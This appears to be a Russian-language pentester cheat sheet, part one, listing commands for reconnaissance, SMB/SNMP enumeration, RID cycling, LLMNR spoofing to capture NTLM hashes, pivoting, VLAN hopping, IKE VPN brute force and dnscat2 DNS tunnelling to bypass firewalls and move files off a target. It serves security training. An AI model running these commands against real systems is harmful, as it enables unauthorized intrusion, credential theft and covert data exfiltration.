Вне зависимости от программ обучения, их ключевыми особенностями являются актуальный материал и практическая подготовка в пентест-лабораториях, составляющая 80% от общей программы курса. В данной статье мы разберем базис команд и полезных трюков при проведении тестирования на проникновение внешнего периметра.
Многие новички при работе в специализированных дистрибутивах (Kali Linux, BlackArch, BackBox и др.) сталкиваются с незнанием основного синтаксиса команд и простейшего инструментария при проведении тестирования на проникновение. Действительно, сейчас довольно много утилит и техник их использования, что поневоле "разбегаются глаза", что, когда и в каком случае применять. Для этого мы подготовили краткий справочник по основным командам и утилитам.
Справочник пентестера часть 1
Данный справочник представляет собой список команд, которые могут вам понадобиться при проведении тестирования на проникновение. Данный справочник разработан таким образом, что не предоставляет развернутого описания команд, а лишь приводит рабочие примеры. Для более подробной информации о команде или утилите мы рекомендуем изучить ее man страницу или посетить официальный сайт.
Данный справочник в большей степени затрагивает тестирование сети и инфраструктуры. Тестирование веб-приложений не рассматривается в данном справочнике, за исключением нескольких примеров с sqlmap в конце данного пособия.
Конфигурация сети
Назначение IP-адреса
ifconfig eth0 xxx.xxx.xxx.xxx/24Информация о подсети
ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0OSINT (сбор информации)
WHOIS:
whois domain-name-here.comВыполнение DNS Lookup запросов:
dig @nameserver domainname.com AОбнаружение MX записей:
dig @nameserver domainname.com MXВыполнение запроса Zone Transfer используя DIG:
dig @nameserver domainname.com AXFRDNS Трансфер зоны
Windows DNS трансфер зоны
nslookup -> set type=any -> ls -d blah.comLinux DNS трансфер зоны
dig @ns1.blah.com blah.com axfrИспользуйте Simply Email для сбора почтовых адресов указанного домена из открытых источников (github, target site и т.п.). Утилита работает продуктивнее, если вы используете прокси и большие значения задержек, так, что google не будет считать активность подозрительной и выдавать капчу.
git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAINSimply Email может проверять обнаруженные email адреса после сбора.
Ручной finger printing / banner grabbing
Получение информации о SMTP сервисе через баннер
nc -v 192.168.1.1 25
telnet 192.168.1.1 25Получение баннера при помощи NC
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>DNS Брутфорс
DNSRecon
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml output.xmlСканирование портов
Nmap сканирование с подробным выводом, метод syn, T4 скорость (подходит для LAN), получение информации о версии ОС и сервисов, traceroute и NSE скрипты в отношении найденных сервисов
nmap -v -sS -A -T4 targetТо же, что и выше, сканирование всех TCP, даже если хост не отвечает на ICMP запросы (занимает больше времени)
nmap -v -sS -p- -A -T4 -Pn targetТо же, что выше, + сканирование UDP диапазона (требует очень много времени)
nmap -v -sU -sS -p- -A -T4 targetNmap скрипт для обнаружения уязвимых SMB серверов (ВНИМАНИЕ: unsafe=1 может вызвать ошибку на сервере)
nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.XПоиск NSE скриптов по регулярным выражениям
ls /usr/share/nmap/scripts/* | grep ftpNmap UDP cканирование
nmap -sU targetUDP Protocol Scanner
git clone https://github.com/portcullislabs/udp-proto-scanner.gitКоманда для сканирования IP-адресов из файла по всем сервисам:
./udp-proto-scanner.pl -f ip.txt Сканирование определенного UDP сервиса:
udp-proto-scanner.pl -p ntp -f ips.txtДругие методы для этапа host discovery, без использования nmap
Проверяет, доступен ли хост, путем отправки ARP запроса:
arping 192.168.1.1 -c 1Обнаруживает IP, MAC адреса в подсети через ARP (может быть полезно для проверки VLAN):
netdiscover -r 192.168.1.0/24Обнаружение и эксплуатация сетевых сервисов
Обнаружение SMB:
smblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux targetОбнаруживает Windows/Samba серверы в подсети, определяет Windows MAC адреса, netbios имя и рабочую группу/домен
nbtscan 192.168.1.0/24Определение версии SMB:
smbclient -L //192.168.1.100Поиск SMB ресурсов:
nmap -T4 -v -oA shares --script=smb-enum-shares --script-args=smbuser=username,smbpass=password -p445 192.168.1.0/24Обнаружение SMB пользователей:
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXXАтака RID Cycling:
ridenum.py 192.168.XXX.XXX 500 50000 dict.txtМодуль Metasploit для атаки RID cycling:
use auxiliary/scanner/smb/smb_lookupsid Null session тестирование в ручном режиме
Windows:
net use \\TARGET\IPC$ "" /u:""Linux:
smbclient -L //192.168.99.131NBTScan unixwiz
apt-get install nbtscan-unixwiz
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscanLLMNR / NBT-NS Spoofing
Metasploit LLMNR / NetBIOS запросы:
Подмена/модификация LLMNR / NetBIOS запросов:
auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_responseПерехват NTLM хэшей:
auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlmДля взлома хэша NTLMv2 используйте john или hashcat.
Как альтернативу можно использовать responder.py.
git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0SNMP
Исправление SNMP значений в выводе для удобного восприятия:
apt-get install snmp-mibs-downloader download-mibs
echo "" > /etc/snmp/snmp.confОбнаружение SNMP
snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1| grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hostsОпределение SNMPv3 серверов с nmap:
nmap -sV -p 161 --script=snmp-info target-subnetСкрипт от Rory McCune’s помогает автоматизировать процесс поиска пользователей для SNMPv3:
https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rbСловари Metasploit содержат стандартные учетные данные для SNMP v1 и v2:
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txtТестирование TLS & SSL
Тестирует всё на выбранном хосте и выводит в файл:
./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.htmlСеть
Перенаправление удаленного порта на локальный:
plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IPSSH Pivoting
ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ipSSH pivoting из одной подсети в другую:
ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1(добавьте socks4 127.0.0.1 1010 в /etc/proxychains.conf)
proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2(добавьте socks4 127.0.0.1 1011 в /etc/proxychains.conf)
Meterpreter Pivoting
portfwd add –l 3389 –p 3389 –r target
portfwd delete –l 3389 –p 3389 –r targetVLAN Hopping
Использование NCCGroups VLAN скприпт для Yersina упрощает процесс.
git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh Обнаружение VPN серверов
./udp-protocol-scanner.pl -p ike TARGET(s)Сканирование диапазона VPN серверов:
./udp-protocol-scanner.pl -p ike -f ip.txtИспользование IKEForce для обнаружения или словарной атаки на VPN серверы.
pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.gitВыполните обнаружение IKE VPN с помощью IKEForce:
./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dicБрутфорс IKE VPN с помощьюIKEForce:
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-keyТуннелирование трафика через DNS для обхода firewall
dnscat2 поддерживает “download” и “upload” команды для получения файлов (данные или программы) на и с целевой машины.
Машина атакующего:
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle installЗапуск dnscat2:
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422Атакуемая машина:
https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/
dnscat --host <dnscat server_ip>В следующих статьях я дополню справочник командами и трюками эксплуатации уязвимостей, брутфорса сетевых сервисов, примерами командных оболочек и т.д.